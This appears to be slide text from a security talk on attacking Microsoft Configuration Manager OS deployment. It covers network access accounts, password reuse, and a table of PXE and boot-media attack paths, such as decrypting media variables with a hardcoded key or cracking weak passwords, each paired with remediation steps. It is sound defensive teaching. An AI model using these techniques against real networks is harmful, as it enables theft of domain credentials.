Client computers use the network access account when they can't use their local computer account to access content on distribution points. It mostly applies to workgroup clients and computers from untrusted domains. This account is also used during OS deployment, when the computer that's installing the OS doesn't yet have a computer account on the domain.

Important

The network access account is never used as the security context to run programs, install software updates, or run task sequences. It's used only for accessing resources on the network.

A Configuration Manager client first tries to use its computer account to download the content. If it fails, it then automatically tries the network access account.

Starting in version 1806, a workgroup or Azure AD-joined client can securely access content from distribution points without the need for a network access account. This behavior includes OS deployment scenarios with a task sequence running from boot media, PXE, or Software Center. For more information, see Enhanced HTTP.

Note

If you enable Enhanced HTTP to not require the network access account, the distribution point needs to be running Windows Server 2008 R2 SP1 or later.

Upgrade clients to at least version 1806 before enabling this functionality. If you only allow Enhanced HTTP connections, older clients can't authenticate using this method, so can't download the client upgrade package from a distribution point.

Permissions

Grant this account the minimum appropriate permissions on the content that the client requires to access the software. The account must have the Access this computer from the network right on the distribution point. You can configure up to 10 network access accounts per site.

https://docs.microsoft.com/en-us/mem/configmgr/core/plan-design/hierarchy/accounts
Key Issues

- Overly Permissioned Accounts
- Account Password Reuse
Key Issues

- ConfigMgr Account Reuse
- Account Password Reuse
- Overly Permissioned Accounts
Takeaways

• MECM is a powerful, complex tool

• Operating System Deployment is a viable vector for attacking corporate networks

• Set a strong media encryption password!
  • And use good password practices to maintain it

• Reduce the possibility for attacks by eliminating excessive rights

Fewer permissions granted = lower attack surface
More Resources


https://github.com/MWR-CyberSec/PXETHief
### Summary of Attack Paths against OSD

<table>
<thead>
<tr>
<th>Scenario</th>
<th>Prerequisites</th>
<th>Attack</th>
<th>OSD Remedial Steps</th>
</tr>
</thead>
</table>
| PXE (No Password) | • Network Access  
• PXE enabled for network  
• Unrestricted DHCP and TFTP to DP                                             | Download Media Variables and decrypt using hardcoded key in tspxe.dll to obtain client certificate | • Set a strong PXE password  
• Change PXE Password regularly  
• Restrict PXE Boot Access  
• Disable Unknown Computer support                                            |
| PXE (Password Set)| • Same as above  
• Weak PXE password                                                                 | Try to obtain password for media variables file by cracking             | • Set strong media password  
• Store media in secure, access-controlled location  
• Delete media if no longer needed                                           |
| Media (No Password)| • Network access  
• Access to media file  
• Low-priv domain access to read file shares                                   | Mount media, copy off variables.dat/Policy.xml, decrypt using default password | • Set strong media password  
• Store media in secure, access-controlled location  
• Delete media if no longer needed                                           |
| Media (Password Set)| • Same as above  
• Weak media password                                                                  | Try to obtain password for media variables file by cracking             | • Set strong media password  
• Store media in secure, access-controlled location  
• Delete media if no longer needed                                           |